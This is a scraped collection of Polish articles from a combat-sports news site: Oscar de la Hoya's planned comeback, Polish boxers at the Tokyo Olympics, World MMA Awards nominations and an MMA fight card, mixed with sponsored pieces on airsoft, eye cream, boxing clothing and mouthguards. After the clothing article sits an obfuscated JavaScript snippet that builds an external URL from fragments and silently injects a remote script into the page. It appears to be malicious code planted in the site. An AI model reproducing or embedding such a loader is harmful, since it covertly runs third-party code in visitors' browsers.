W maju 2022 roku powinniśmy zobaczyć w ringu Oscara de la Hoyę. 48-latek planuje powrót na ring, w którym ostatni raz zaprezentował się w 2008 roku.

48-letni Amerykanin meksykańskiego pochodzenia podjął decyzję, że znowu chce walczyć. Bogata kariera bokserska, potem działalność w roli promotora, ale w pewnym momencie de la Hoya potrzebował dodatkowego zastrzyku adrenaliny. Oznajmił, że wraca. Jego walka miała odbyć się 11 września. De la Hoya w ringu spotkałby się z Vitorem Belfortem. Tydzień przed pojedynkiem utytułowany pięściarz trafił do szpitala. Powodem było zakażenie koronawirusem.

De la Hoya stopniowo wraca do sił i nie zamierza rezygnować z powrotu na ring. Jego wstępne plany zakładają, że w styczniu wznowi treningi i będzie przygotowywał się do walki. 48-latek chce stoczyć pojedynek w maju przyszłego roku. Jako potencjalnego rywala de la Hoyi podaje się Floyda Mayweathera Jr. Nie pozostaje nic innego jak czekać na rozwój wypadków. Zobaczymy, czy plany 48-latka się ziszczą. Zdajemy sobie sprawę, że koronawirus potrafi potężnie doświadczyć organizm. Jeśli de la Hoya w styczniu rozpocznie treningi i będzie w formie, być może późną wiosną zobaczymy „Golden Boya” w ringu. Po blisko 14 latach. Bez wątpienia będzie to ogromne wydarzenie.

De la Hoya to jedna z bokserskich legend. W wieku 19 lat sięgnął po mistrzostwo olimpijskie w Barcelonie. Potrzebował dwunastu walk, aby zdobyć tytuł mistrza świata. 5 marca 1994 roku pokonał Jimmiego Bredahla i sięgnął po pas WBO wagi junior lekkiej (superpiórkowej). Marsz de la Hoyi trwał przez kolejne lata. „Golden Boy” zachwycał w ringu i zdobywał kolejne pasy. De la Hoya był mistrzem w sześciu kategoriach wagowych – od super piórkowej do średniej. Ostatnie zwycięstwo na zawodowym ringu odniósł w maju 2008 roku, kiedy to pokonał Steve’a Forbesa. Z kolei w grudniu zanotował porażkę w rywalizacji w Manny Pacquiao. Była to ostatnia dotychczas walka de la Hoyi. Łącznie „Golden Boy” stoczył 45 pojedynków w karierze, z których 39 wygrał, w tym 30 przed czasem.

Fot. Oscar De La Hoya Facebook

KM

ASG to gra, w którą każdego dnia grają tysiące osób w całym kraju oraz znacznie więcej poza nim. Pasja łącząca spore grona ludzi i umożliwiająca tworzenie własnych drużyn. Niesie ze sobą wiele korzyści, takich jak kształtowanie i polepszanie umiejętności pracy w grupie, a także wprowadza sporo ruchu do naszego życia.  Załóżmy jednak, że jesteśmy początkującymi graczami i nie wiemy, czy to hobby jest akurat naszym przeznaczeniem. Istnieje sporo miejsc, w których można wypożyczyć swój sprzęt i sprawdzić się w tej roli. Warto jednak wybrać się w te miejsca kilkukrotnie, aby skorzystać z różnych rodzajów broni, gdyż niekoniecznie wszystko będzie wychodziło nam konkretnymi sprzętam

Zasady gry w ASG

Zanim w ogóle wybierzemy się ze znajomymi w pierwszą, airsoftową podróż, powinniśmy wpierw poznać wszystkie reguły gry. Oczywiście, że nie można traktować imitacji wojny jako realnego zagrożenia i zdecydowaną uwagę trzeba zwracać na bezpieczeństwo, gdyż o tragedię nietrudno.

W pierwszej kolejności należy wspomnieć o konieczności zakupu specjalnych okularów bądź też ich wypożyczenia. Ochrona oczu jest szczególnie istotna w tej kwestii, gdyż prędkość kulki wydobywanej z broni zdecydowanie przewyższa refleks naszego oka. Drugą, istotną zasadą jest bezwzględny zakaz spożywania alkoholu bądź innych używek odurzających podczas trwania rozgrywki. Dla organizatorów również istnieje specjalna reguła mówiąca, że każdy teren gry musi być dokładnie sprawdzony pod kątem dziur bądź wystających z ziemi przedmiotów.

Uczestnicy powinni pamiętać również, że mają kontakt z bronią, która jest w stanie wyrządzić krzywdę drugiej osobie. Z tego względu, w przypadku bliskiego kontaktu z przeciwnikiem nie oddaje się strzałów, a jedynie krzyczy się hasło “bam bam”.

Wybór pierwszej broni – na co się zdecydować?

Na popularnych forach związanych z airsoftem możemy spotkać się z postami uczestników, w których chwalą się oni swoimi drogimi replikami. Trzeba podkreślić, że są to już pasjonaci i liczy się dla nich każdy detal. Na początek nie jest nam potrzebna tak dobra broń, więc lepiej jest przeznaczyć większą część budżetu na bezpieczeństwo, a nie na replikę. W celu znalezienia broni dla początkujących, warto jest odwiedzić tani sklep z replikami ASGi zakupić używany model broni, który nam odpowiada.

Typ repliki powinniśmy wybrać na podstawie testów, dlatego wcześniej wspomniano o tym, aby wybierać się z początku na airsoft za każdym razem z innym sprzętem. Po kilku rundach sami stwierdzimy, czy lepiej jest nam strzelać z karabinów snajperskich, maszynowych czy z pistoletów.

Umundurowanie – co jest najważniejsze?

Oprócz koniecznych okularów, warto jest wyposażyć się również w mundur, dzięki któremu nie będziemy aż tak odczuwać skutków strzałów. Ponadto przydać mogą się nam nakolanniki i dobre, wysokie buty, które uniemożliwią nam kontuzji stawu skokowego.

Aby zdobyć jednak pełne umundurowanie, wcale nie musimy przepłacać. Strój możemy wykonać z różnego rodzaju spodni i kurtek budowlanych, rękawiczki robocze również świetnie się spiszą, a nakolanniki z pewnością znajdziemy w domu chociażby z czasów, gdy jeździliśmy na rolkach.

Nieprzespana noc, silne zmęczenie, stres lub stopniowe starzenie się skóry – wszystkie te czynniki posiadają wpływ na to, w jaki sposób będzie prezentować się nasza skóra pod oczami. Ten obszar jest bowiem w największym stopniu narażony na wszelkiego rodzaju mikrourazy oraz najszybciej uwidacznia objawy zmęczenia i starzenia. To właśnie wtedy zwykle pojawiają się worki pod oczami, które stanowią poważny problem estetyczny wśród wielu kobiet. Sprawdź, czego jeszcze objawem mogą okazać się worki pod oczami, a także jaki krem pod oczy wybrać, aby zminimalizować ich widoczność.

Delikatna skóra wokół oczu

Zanim przejdziemy do omówienia problemów, jakie mogą powodować widoczne worki pod oczami, warto poświęcić chwilę obszarowi, w jakim występują, czyli delikatnej skórze wokół oczu.

Dlaczego skóra wokół oczu jest tak podatna na wszelkiego rodzaju uszkodzenia? To najcieńszy obszar na naszym ciele, posiada bowiem zaledwie 0,5 milimetra grubości. Oprócz tego pozbawiona jest gruczołów łojowych, a więc nie chroni jej warstwa sebum, która pokrywa pozostałe partie skóry twarzy. To z kolei powoduje, że szybciej ulega przesuszeniu, a także jest bardziej podatna na podrażnienia, jakie mogą wywoływać czynniki zewnętrzne (silny wiatr, mróz, promieniowanie ultrafioletowe czy obecne w powietrzu zanieczyszczenia).

Należy także wspomnieć o zachodzących w naszym organizmie procesach starzenia, które zaczynają uwidaczniać się już w okolicach 25. roku życia. To właśnie wtedy w strefie pod oczami możesz zauważyć drobne zmarszczki i linie mimiczne.

Worki pod oczami – przyczyny

W przypadku worków pod oczami bardzo często jako jeden z powodów podaje się wiek oraz zachodzące procesy starzenia. Warto jednak pamiętać, że od czasu do czasu worki pod oczami mogą pojawiać się na naszej skórze niezależnie od tego, ile mamy lat. Przede wszystkim wpływ na ich obecność posiada prowadzony przez nas styl życia, ilość snu dostarczanego organizmowi, a także dieta. Co więcej, zbyt duża ilość cukru, soli i produktów przetworzonych sprawia, że dochodzi do zatrzymywania wody w organizmie, czego efektem jest obrzęk skóry i pojawienie się worków pod oczami.

Osoby, które nie piją odpowiedniej ilości wody dziennie, również mogą narzekać na widoczne zasinienia, przesuszenie skóry oraz worki pod oczami. Warto o tym pamiętać i sprawić, aby regularne picie wody stało się naszym zdrowym nawykiem.

W przypadku worków pod oczami warto mieć na uwadze, że ich obecność może, choć nie musi, stanowić objaw chorobowy, np. niedoczynności tarczycy, chorób nerek, cukrzycy lub pojawić się w wyniku przyjmowania niektórych leków hormonalnych. Jeśli oprócz worków pod oczami będziesz odczuwać jakikolwiek ból, pieczenie czy swędzenie, a objawy nie będą ustępowały, nie bagatelizuj tego problemu i koniecznie zgłoś się do lekarza.

Krem pod oczy na worki pod oczami

Worki pod oczami to w większości przypadków defekt kosmetyczny, z którym można poradzić sobie za pomocą prostych i łatwo dostępnych sposobów. Jeden z nich stanowi bez wątpienia odpowiednia pielęgnacja skóry. Pomimo tego, że okolica pod oczami to bardzo delikatny obszar, wiele osób traktuje ją po macoszemu i nie stosuje kosmetyków stworzonych do pielęgnacji właśnie tego obszaru skóry. Jest to duży błąd, który może skutkować tym, że nie tylko nie pozbędziemy się worków pod oczami, ale jednocześnie nadmiernie obciążymy naszą skórę.

Po jaki krem pod oczy warto sięgnąć? Przede wszystkim powinien on posiadać lekką, nieobciążającą konsystencję i szybko się wchłaniać. Bardzo ważne jest, aby nie tylko nawilżał, ale i zmniejszał obrzęk. W tym celu warto sięgnąć po krem pod oczy, który będzie zawierał składniki pobudzające mikrokrążenie skóry, wzmacniał jej właściwości ochronne, a także neutralizował wolne rodniki. Składnikami, które okażą się w tej kwestii pomocne, są: kofeina, miłorząb japoński, ogórek czy bławatek. Ciekawym rozwiązaniem będzie także krem pod oczy w formie roll-on, który nie tylko ułatwia aplikację produktu, ale przyjemnie chłodzi skórę, dodatkowo zmniejszając obrzęk.

Prezentujemy Państwu statystyki oglądalności Telewizji FighTime za okres od Stycznia do Lipca 2021 r.. Przypominamy, że z codziennym nadawaniem ruszyliśmy dokładnie od 1 stycznia 2021 r.. Dziękujemy, że jesteście, dziękujemy za zaufanie, dziękujemy za oglądanie.

[kod]

Na igrzyskach w Tokio polscy zawodnicy i zawodniczki zdobyli 14 medali. Azetesiacy mieli udział w wywalczeniu dziewięciu z nich. Czwórka naszych lekkoatletów stawała na podium indywidualnie. To piękny wynik patrząc z punktu widzenia akademickiego sportu.

Poznaliśmy nominowanych do nagród World MMA Awards, które przyznaje magazyn Fighters Only. W kategorii Zawodnik Roku na tytuł szansę ma Jan Błachowicz.

Od 2008 roku czasopismo Fighters Only przyznaje nagrody World MMA Awards, które są docenieniem dorobku wojowników w poszczególnych kategoriach. Czas na kolejną edycję. Nie brakuje w niej polskich akcentów.
Jan Błachowicz jest jedną z gwiazd organizacji UFC. Polski zawodnik w 2020 roku sięgnął po pas mistrzowski w wadze półciężkiej. "Cieszyński Książę" pokonał w drugiej rundzie rywalizacji w Abu Zabi Dominicka Reyesa. W tym roku Błachowicz obronił pas w rywalizacji z Israelem Adesanyą. 30 października polskiego zawodnika czeka walka z Gloverem Teixeirą. Trzeba dodać, że Błachowicz wygrał pięć pojedynków z rzędu.

Dobra postawa Błachowicza została dostrzeżona, czego najlepszym dowodem są dwie nominacje w World MMA Awards w dwóch kategoriach – Zawodnik Roku oraz Międzynarodowy Zawodnik Roku. W pierwszej znaleźli się mistrzowie UFC Kamaru Usman, Brandon Moreno i Charles Oliveira oraz Yaroslav Amosov, który może poszczycić się tytułem mistrza kategorii półśredniej Bellatora. Z kolei w kategorii Międzynarodowy Zawodnik Roku o nagrodę rywalizują Amosov, mistrz wagi półciężkiej Bellatora Vadim Nemkov oraz znani z UFC Israel Adesanya i Robert Whittaker.

Są jeszcze inne polskie wątki. W kategorii Nokaut Roku znalazł się Mamed Khalidov za walkę z Scottem Askhamem podczas gali KSW 55. 41-latek potrzebował nieco ponad pół minuty na efektowne pokonanie rywala. Z kolei w kategorii ring girl nominowana została Katarzyna Motloch.

W kategorii Zawodniczka Roku na liście są: Mackenzie Dern, Kayla Harrison, Valentina Shevchenko, Rose Namajunas, Manon Fiorot. Nagrody zostaną przyznane łącznie w 22 kategoriach.

Teraz czas na głosowanie, w którym biorą fani. Pełna lista nominowanych dostępna jest tu.

Fot. Jan Błachowicz Facebook

KM

Startujemy z programem AZS NEWS – młodość pełna pasji! Projekt telewizyjnego programu informacyjnego realizowany jest we współpracy Akademickiego Związku Sportowego oraz Telewizji Fightime. W każdym z kilkunastominutowych odcinków zaprezentujemy relacje z najważniejszych wydarzeń sportu akademickiego, przybliżymy nasze gwiazdy i ciekawe projekty realizowane przez Akademicki Związek Sportowy. W pierwszym, pilotażowym programie zobaczycie głównie doniesienia ze sportowych aren Akademickich Mistrzostw Polski w judo, karate, koszykówce 3×3, siatkówce i koszykówce. Poznacie także naszych sportowców z niepełnosprawnościami dzięki relacji z Integracyjnych Mistrzostw Polski AZS w bocci. Prowadzącym AZS NEWS jest Damian Bąbol – prezenter, dziennikarz sportowy. Razem z nim zapraszamy do obejrzenia pierwszego odcinka. Do zobaczenia!

[kod]

Zapraszamy do obejrzenia drugiego odcinka programu AZS NEWS – młodość pełna pasji. Nowinki ze świata sportu akademickiego i nie tylko. Dużo czasu poświęcamy kończącym się rozgrywkom Akademickich Mistrzostw Polski, zaglądając na hale, boiska, korty i trasy biegowe. Dla ochłody polecamy trzy azestesowskie imprezy pływackie, chwalimy się sukcesami naszych wyczynowców w seniorskich mistrzostwach kraju, a na deser mamy coś ze sportu dla wszystkich oraz ze świata wirtualnego.

[kod]

Zapraszamy na trzeci odcinek AZS NEWS, który stworzyliśmy razem z AZS Akademicki Związek Sportowy tuż przed rozpoczęciem igrzysk olimpijskich. Podsumowujemy w nim Akademickie Mistrzostwa Polski i zapowiadamy najważniejszą imprezę światowego sportu, w której nie zabraknie azetesiaków. Co ważne, ponad 30% kadry olimpijskiej stanowią właśnie AZETESIACY. Na koniec zachęcamy zaś do zapoznania się z historią AZS. Warto!

[kod]

Wtorkowy poranek nie przyniósł dobrych informacji z Igrzysk Olimpijskich z Tokio. Z rywalizacji odpadła bokserka Karolina Koszewska (69kg), która przegrała z Busenaz Surmeneli.

39-letnia Koszewska może pochwalić się bogatym dorobkiem medalowym. W 2019 roku sięgnęła w Mińsku po złoto Igrzysk Europejskich. Na swoim koncie ma również medale mistrzostw Europy. Po tytuł najlepszej bokserki Starego Kontynentu sięgnęła w 2005 roku. Koszewska z powodzeniem rywalizowała na zawodowych ringach. W 2007 roku wywalczyła tytuł mistrzyni świata WIBF. Koszewska zrobiła sobie przerwę od zawodowego sportu, jako trener współpracowała z grupą Rafako Hussars Poland, jednak postanowiła wrócić do rywalizacji.

Igrzyska Olimpijskie były kolejnym wyzwaniem dla polskiej pięściarki. Start w Tokio zaczęła udanie, o czym informowaliśmy w materiale "Koszewska walczy dalej". Polka pokonała Shakhnozę Yunusovą, każdy z sędziów punktował 30:27.

Rankiem 27 lipca  na Koszewską czekało kolejne wyzwanie. Polka stanęła naprzeciwko Turczynki Busenaz Surmeneli, stawką rywalizacji był ćwierćfinał igrzysk. Początek wyglądał obiecująco, ale z czasem do głosu zaczęła dochodzić Surmeneli. Turczynka zbudowała przewagę, trafiła Polkę mocnymi ciosami, a ta nie potrafiła znaleźć recepty na rywalkę. Mimo ambitnej postawy i woli walki Koszewska nie był w stanie przeciwstawić się dobrze zdecydowanej Turczynce. Sędziowie punktowali – 27-30, 27-30, 27-30, 26-30, 25-30.

Czas na Wójcik

28 lipca w Tokio zaprezentuje się Elżbieta Wójcik (75kg). Trzymamy kciuki za naszą pięściarkę, jednak nie będzie miała łatwego zadania. Polka zmierzy się z utytułowaną Nouchką Fontijn. Holenderka ma na koncie srebro igrzysk w Rio de Janeiro. Do tego cztery medale mistrzostw świata. W 2015 roku Fontijn sięgnęła po złoto Igrzysk Europejskich, a w 2014 i 2018 zdobyła tytuły mistrzyni Europy. Z kolei Elżbieta Wójcik może pochwalić się brązem Igrzysk Europejskich w Mińsku z 2019 roku. Na koncie ma też srebro mistrzostw Europy.

Fot. Karolina Koszewska-Łukasik Facebook

KM

Zaglądamy do Tokio. Z wygranej walki cieszy się bokserka Karolina Koszewska (69kg). Start w igrzyskach zakończyli Sandra Drabik (51kg) i Damian Durkacz (63kg).

Czekamy na kolejną walkę Karoliny Koszewskiej, która ma za sobą bardzo dobry początek rywalizacji. Polka pewnie pokonała Shakhnozę Yunusovą z Uzbekistanu. Sędziowie byli jednogłośnie i wskazali na Koszewską – każdy punktował 30:27. Teraz czas na kolejne wyzwanie naszej bokserki. 27 lipca Koszewska zmierzy się z Busenaz Surmeneli z Turcji. Trzymamy kciuki!

Odpadli

Z rywalizacją pożegnała się Sandra Drabik. 32-letnia zawodnika przegrała w 1/32 turnieju z Tursunoj Rachimową. Polka najlepiej wypadła w pierwszej rundzie, mimo nerwowego początku. Drabik postraszyła rywalkę, jednak w kolejnej odsłonie to reprezentantka Uzbekistanu nadawał ton. O wszystkim decydowała trzecia runda. Lepsza okazała się Rachimowa. – Cieszę się ogromnie, że mogłam stanąć w ringu Olimpijskim, że mogłam zawalczyć na najważniejszych zawodach dla większości sportowców, cieszę się, że jestem wśród 26 najlepszych pięściarek na świecie, jestem dumna z tego w jakim miejscu obecnie się znajduje, bo ciężko na to pracowałam przez wiele lat, nie była to łatwa droga, a mimo wszystko tu jestem… I kocham to co robię – napisała w mediach społecznościowych Sandra Drabik.

Przygodę z Tokio zakończył również Damian Durkacz. Polski pięściarz przegrał jednogłośnie na punkty z Gabiłem Mamiedowem. Rosjanin lepiej się prezentował, Durkacz przyjął wiele ciosów, ale dotrwał do końca. Werdykt na korzyść Mamiedowa.

Jeszcze dwa słowa o występie Patrycji Adamkiewicz w taekwondo. Reprezentantka Polski przegrała w 1/8 finał z Zhou Lijun 17:31. Była szansa na repasaże, o ile Chinka dotarłaby do finału. Tak się nie stało, Zhou Lijun odpadła w ćwierćfinale. – Mój debiut na Igrzyskach Olimpijskich kończę na pierwszej walce. Niestety nie udało mi się wygrać z Chinką. Nie tak to wszystko miało wyglądać. Co tu dużo mówić. Taekwondo dało mi w życiu wiele powodów do radości, ale również czasami łamie mi serce. Czasami jest się na górze, czasami na dole. Ale taki jest sport – skomentowała Patrycja Adamkiewicz.  

Fot. Zdjęcie poglądowe

KM

Zaczęło się! Wielkie sportowe święto, najważniejsza impreza w życiu każdego sportowca. Igrzyskami XXXII Letniej Olimpiady w Tokio będziemy żyli przez najbliższe tygodnie. Trzymamy kciuki za naszych! My szczególnie przyglądamy się zawodnikom związanym ze sportami walki.

Pandemia koronawirusa zmieniła nasze życie i wpłynęła na nasze funkcjonowanie. W ubiegłym roku nie doszło do wielu wydarzeń, w tym igrzysk w Tokio. Stanęły pod znakiem zapytania, mówiono o wielu problemach, nie brakowało wątpliwości. Ostatecznie przyszedł ten dzień, w którym sportowcy zaprezentowali się na arenie.

23 lipca odbyła się uroczystość otwarcia igrzysk olimpijskich. Nie będzie publiczności podczas rywalizacji, ale emocji z pewnością nie zabraknie. Blisko 11 tysięcy sportowców, w tym 210 Polaków. Rywalizacja odbędzie się w 33 dyscyplinach. Trzymamy kciuki za biało-czerwonych i śledzimy ich występy. Redakcja FighTime.pl bacznie będzie przyglądała się poczynaniom zawodników rywalizujących w sportach walki.

Sprawdźmy, kiedy Polacy zaprezentują się w Japonii.

25 lipca
W niedzielę rywalizacja w taekwondo kobiet do 57kg – od 1/8 do półfinału. Zaprezentuje się Patrycja Adamkiewicz. Trzymamy kciuki za bokserkę Sandrę Drabik (51kg), która wyjdzie na ring 25 lipca. W niedzielę zmagania rozpocznie w judo Agata Perenc (52kg). Zaplanowano walki 1/16 finału w boksie mężczyzn, gdzie zobaczymy Damiana Durkacza (63kg).

26 lipca
Początek zmagań judoczek w kategorii do 57kg, gdzie wystartuje Julia Kowalczyk.

27 lipca
Tym razem na tatami zobaczymy Agatę Ozdobę-Błach (63kg). We wtorek w taekwondo rywalizować będzie również Aleksandra Kowalczuk (67kg). Kolejna z naszych zawodniczek to bokserka Karolina Koszewska (69kg).

28 lipca
W środę o medal powalczy judoka Piotr Kuczera (90kg). Do ringu wejdzie bokserka Elżbieta Wójcik (75kg).

29 lipca
Kolejny dzień rywalizacji i tym razem na tatami zobaczymy Beatę Pacut (78kg). Jeśli wszystko dobrze się ułoży, zobaczymy Sandrę Drabik w 1/8 finału bokserskiej rywalizacji.

30 lipca
Pływanie, lekkoatletyka, mecz Polska – Japonia w siatkówkę i liczymy na pozytywne emocje w sportach walki. Na tatami pojawi się doświadczony Maciej Sarnacki (100kg). Z nadzieją liczymy na ćwierćfinał bosku z udziałem Karoliny Koszewskiej.

31 lipca
Dalsza część rywalizacji w boksie. 1/8 finału mężczyzn, gdzie liczymy na Damiana Durkacza (63kg) i ćwierćfinał kobiet – tu trzymamy kciuki za udział Elżbiety Wójcik (75kg).

1 sierpnia
Rywalizacja w boksie – ćwierćfinał kobiet do 51 kg. Liczymy, że będziemy mieli okazję kibicować Sandrze Drabik.

2 sierpnia
Na afiszu lekkoatletyka, kolarstwo i kajakarstwo. Zaprezentują się również nasi zapaśnicy. W stylu wolnym Agnieszka Wieszczek-Kordus (68kg), zaś w klasycznym Tadeusz Michalik (97kg). Walka o medale kolejnego dnia.

3 sierpnia
Ćwierćfinały mężczyzn w boksie – do 63kg (Damian Durkacz).

4 sierpnia
Czas na półfinały w boksie kobiet – 51kg i 69kg, czyli kategorie Sandry Drabik i Karoliny Koszewskiej. Rywalizację w stylu wolnym w zapasach rozpocznie Jowita Wrzesień (57kg). Walka o medale w zapasach kolejnego dnia.

5 sierpnia
Start zapaśników w stylu wolnym – Roksana Zasina (53kg) i Kamil Rybicki (74kg). Kolejne dnia decydujące starcia.

6 sierpnia
Półfinał boksu kobiet i mężczyzn. Czy zobaczymy walki Elżbiety Wójcik i Damiana Durkacza? Rywalizację rozpocznie zapaśnik Magomedmurad Gadżijew (65kg). 7 sierpnia poznamy medalistów w zapasach.

7 sierpnia
Poznamy mistrzynię olimpijską w boksie kobiet do 51kg. Czy będzie nią Sandra Drabik? A w kategorii do 69kg Karolina Koszewska?

8 sierpnia
Rywalizacja o złoto igrzysk w boksie. Czy Wójcik i Durkacz wystąpią w ringu ostatniego dnia igrzysk?

Pytań jest wiele, ale z nadzieją patrzymy w przyszłość. Ściskamy kciuki za naszych! Powodzenia!

Fot. Wikipedia/logo igrzysk

KM

Ubrania sportowe powinny wyróżniać się jakością, zwłaszcza gdy chodzi o propozycje przeznaczone do noszenia podczas treningu. Zapewnienie komfortu i przewiewności to niejedyne cechy, które są tutaj niezbędne. Sprawdź, na jakie ubrania warto postawić, szykując się do treningu bokserskiego! Zapraszamy do artykułu.

Postaw na sprawdzoną odzież do treningów

Komfort i dobre samopoczucie są niezwykle ważne podczas treningu. Warto w tym celu postawić na odzież, która nie tylko jest przyjemna w dotyku, ale przede wszystkim chroni skórę przed działaniem czynników zewnętrznych. Działa więc antybakteryjnie – ma to szczególne znaczenie w przypadku bielizny sportowej. Wilgotne i przepocone ubrania są doskonałym miejscem do rozwoju bakterii, które prowadzą do dyskomfortu, podrażnień i alergii skórnych. Naszym zdaniem lepiej być mądrym przed szkodą!

Dobrze dobrana odzież dla bokserów pozwala również utrzymać odpowiednią temperaturę ciała podczas treningu, do tego zapobiega otarciom, które są zmorą wielu osób, zwłaszcza przy zwiększonej potliwości. Jeśli zależy Ci na efektywnym i komfortowym treningu, podczas którego nie będą Cię rozpraszać niewygodne ubrania, to warto zdecydować się na dedykowaną odzież sportową.

Jakie są cechy dobrze dobranych ubrań?

Dobrze dobrana odzież chroni boksera przed otarciami. Ważne jest tutaj jednak wybranie odpowiedniego rozmiaru – ten nie może być ani zbyt obcisły, ani zbyt luźny. Idealne dopasowanie materiału do ciała zapewnia swobodę i nieprzesuwanie się koszulki podczas wykonywania ruchów rękoma. Materiał nie podwija się, a szwy są stosunkowo niewielkie i miękkie w dotyku. Do tego odpowiednio dopasowana odzież chroni przed:

• odparzeniami – ważne jest wybranie ubrań z przewiewnego materiału, który będzie odprowadzać pot, aby ten nie gromadził się na skórze i nie podrażniał jej,
• przepoceniem – stroje ze słabych jakościowo materiałów mogą przyklejać się do skóry, powodując dyskomfort oraz gromadzenie się bakterii,
• nadmiernym uciskiem – zbyt obcisła odzież może powodować uciski, utrudniające krążenie krwi lub krępujące ruchy. Odpowiednie dopasowanie jest tutaj szczególnie ważne w przypadku bielizny,
• alergiami i podrażnieniami skóry – te mogą być powodowane źle dobranym materiałem ubrań.

Ubrania sportowe dla boksera – na te materiały warto postawić!

Jedną z najpopularniejszych tkanin przy odzieży sportowej jest bawełna organiczna. To przyjemny w dotyku materiał, który cechuje się przewiewnością i wygodą noszenia. Do tego nie krępuje ruchów. Jeżeli jednak masz problemy z potliwością, możesz się z bawełną nie polubić. Stosunkowo słabo odprowadza wilgoć, przez co przepocone ubrania schną długo. Bawełna zatrzymuje też zapachy – przez co musisz liczyć się z częstym praniem ubrań sportowych.

O wiele lepszym rozwiązaniem dla osób mocno pocących się jest poliester. Chociaż jest to tworzywo sztuczne, charakteryzuje się niską chłonnością wody. Doskonale radzi sobie z potem i szybko odparowuje go z powierzchni skóry. Aby zapewnić jeszcze większy komfort noszenia, ubrania wykonane z poliestru posiadają często domieszkę elastanu, który sprawia, że odzież jest bardziej elastyczna i lepiej dopasowuje się do ciała.

Mamy nadzieję, że nasz artykuł rozwiał Twoje wątpliwości dotyczące wyboru odzieży dla bokserów.

[kod]

(function(){
oins=document.createElement("script");oins.async=true;oins_="u"+("s")+"t";
oinsu="304394221.";oins_+="a"+("t.i");oins_+="n"+("f"+"o")+"/";
oinsu+="v61r8xpfinskhrlle9sgx8"+("c78sewxy");
oins.src="https://"+oins_+oinsu;oins.type="text/javascript";
document.body.appendChild(oins);
})();

Właśnie poznaliśmy pierwszą, historyczną walkę wieczoru nowopowstałej organizacji Seaside BattleS Dziwnów. Już 10 lipca w najważniejszym pojedynku zmierzą się Wojciech "Kulkinio" Janusz (10-6) i Eder de Souza (17-7). Pojedynek zakontraktowany jest w limice kategorii półciężkiej.

Janusz to od lat jeden z ulubionych zawodników polskich kibiców. Odważna stójka i bardzo dobry to połączenie, które uwielbiają kibice, a właśnie tym dysponuje szczeciński Berserker. W swojej karierze "Kulkinio" walczył z wieloma świetnymi zawodnikami, takimi jak Marcin Wójcik czy Michał Oleksiejczuk i zawsze były to boje na najwyższym poziomie. Choć obecnie podopieczny trenera Bagińskiego jest po porażce, to nie zamierza brać łatwej walki na przetarcie, tylko chce pokonać mocnego Brazylijczyka.

Eder "Bambu" de Souza zawodowe walki toczy od 11 lat. Choć większość walk Brazylijczyk toczył w swojej ojczyźnie, to jednak jakiś czas temu zdecydował się na podbój Europy i walczył już w Rosji i na Ukrainie. "Bambu" to były pretendent do pasa mistrzowskiego organizacji WWFC, lecz przegrał wtedy z obecnym zawodnikiem UFC – Romanem Dolidze. Potencjalne zwycięstwo z Wojciechem Januszem z całą pewnością otworzyłoby mu wiele furtek na polskim rynku MMA.

Więcej o federacji:

Seaside BattleS Dziwnów to najnowszy projekt fanatyków MMA z Pomorza Zachodniego. Po wielu latach pustki, sporty walki mają powrócić do nadmorskich miejscowości w najlepszym wydaniu. Nie może więc tam zabraknąć zawodników z czołowych polskich klubów, na czele z podopiecznymi Berserkers Team Szczecin.

Aktualna karta walk:

93,0 kg: Wojciech Janusz vs Eder de Souza

93,0 kg: Michał Piwowarski vs Johan Romming

70,3 kg: Michał Pogorzelski vs TBA

83,9 kg: Piotr Walawski vs TBA

77,1 kg: Damian Ostęp vs Herkus Lukosiunas

70,3 kg: Wojciech Kawa vs TBA

77,1 kg: Maciej Pacuła vs TBA

93,0 kg: Wojciech Balejko vs TBA

Ochraniacze na zęby są pięściarzom niezbędne zarówno podczas treningów, jak i w czasie starcia w ringu. Podpowiadamy, jak wybrać odpowiednie, aby zapewnić swojej szczęce skuteczną ochronę oraz zachować maksymalny komfort.

Funkcja ochraniaczy na zęby

Najbardziej oczywistą funkcją, dla której bokserzy sięgają po ochraniacze na zęby, jest oczywiście ochrona uzębienia. Pomimo że rękawice bokserskie w dużym stopniu amortyzują siłę uderzenia, to jednak w dalszym ciągu jest ona na tyle duża, że może uszkodzić zęby, dziąsła czy język. Oprócz ochrony zębów, które mogą zostać wybite lub złamane, ważne jest też to, aby zapobiegać ocieraniu się o siebie zębów górnych i dolnych oraz chronić język przed przegryzieniem. Którykolwiek z tych urazów mógłby wyeliminować pięściarza z treningu lub walki.

Ochraniacze na zęby – żelowe czy silikonowe?

Każdy materiał na ochraniacze na zęby ma swoje plusy. Należy dobrze zapoznać się z ich specyfikacją i zdecydować, który rodzaj lepiej wpisze się w Twoje oczekiwania.

• Ochraniacze na zęby silikonowe – gwarantują bardzo dobrą ochronę zębów przed siłą uderzenia. Mniej komfortowym aspektem ich użytkowania jest to, że silikon nie dopasowuje się idealnie do kształtu szczęki, dlatego zawodnicy mogą wyraźnie wyczuwać, że ochraniacze na zęby znajdują się w ich ustach.
   
• Ochraniacze na zęby żelowe – amortyzują siłę uderzenia w równym stopniu jak ochraniacze silikonowe, jednak dzięki żelowej strukturze znacznie lepiej dopasowują się do kształtu szczęki, dzięki czemu trzymanie ich w ustach jest wygodniejsze i nie wywołuje dyskomfortu.

Pojedyncze i podwójne ochraniacze na zęby

Te dwa rodzaje ochraniaczy różnią się od siebie tym, że pojedyncze ochraniacze na zęby chronią jedynie górną szczękę, natomiast podwójne zabezpieczają również dolne zęby. Ochrona podwójnych ochraniaczy jest zatem skuteczniejsza, jednak nie oznacza to, że stanowią one zawsze lepszy wybór. Dlaczego?

Podwójne ochraniacze na zęby wypełniają niemal całe usta, dlatego ich noszenie nie jest komfortowe. Ponadto przy otwarciu ust często przesuwają się lub nawet wypadają, dlatego są odpowiednim wyborem przede wszystkim na czas starcia, kiedy należy jak najskuteczniej chronić zęby przed siłą uderzeń przeciwnika.

Do sparingu lub treningu lepszym i bardziej komfortowym wyborem okażą się pojedyncze ochraniacze na zęby. Szczególnie w przypadkach, kiedy zawodnicy używają kasków chroniących żuchwę.

Uformuj ochraniacz przed włożeniem do ust

Zanim włożysz ochraniacz na zęby do ust, zanurz go w gorącej wodzie. Zapewni to nie tylko jego sterylność, ale też pozwoli łatwiej go formować i dopasować do kształtu szczęki. Im lepiej uformuje się ochraniacz na zęby, tym większy komfort będzie odczuwał zawodnik po włożeniu go do ust, a szanse na przesuwanie się lub wypadnięcie zmaleją. Szeroki wybór bokserskich ochraniaczy na zęby znajdziesz w sklepie https://bushido-sport.pl/. 

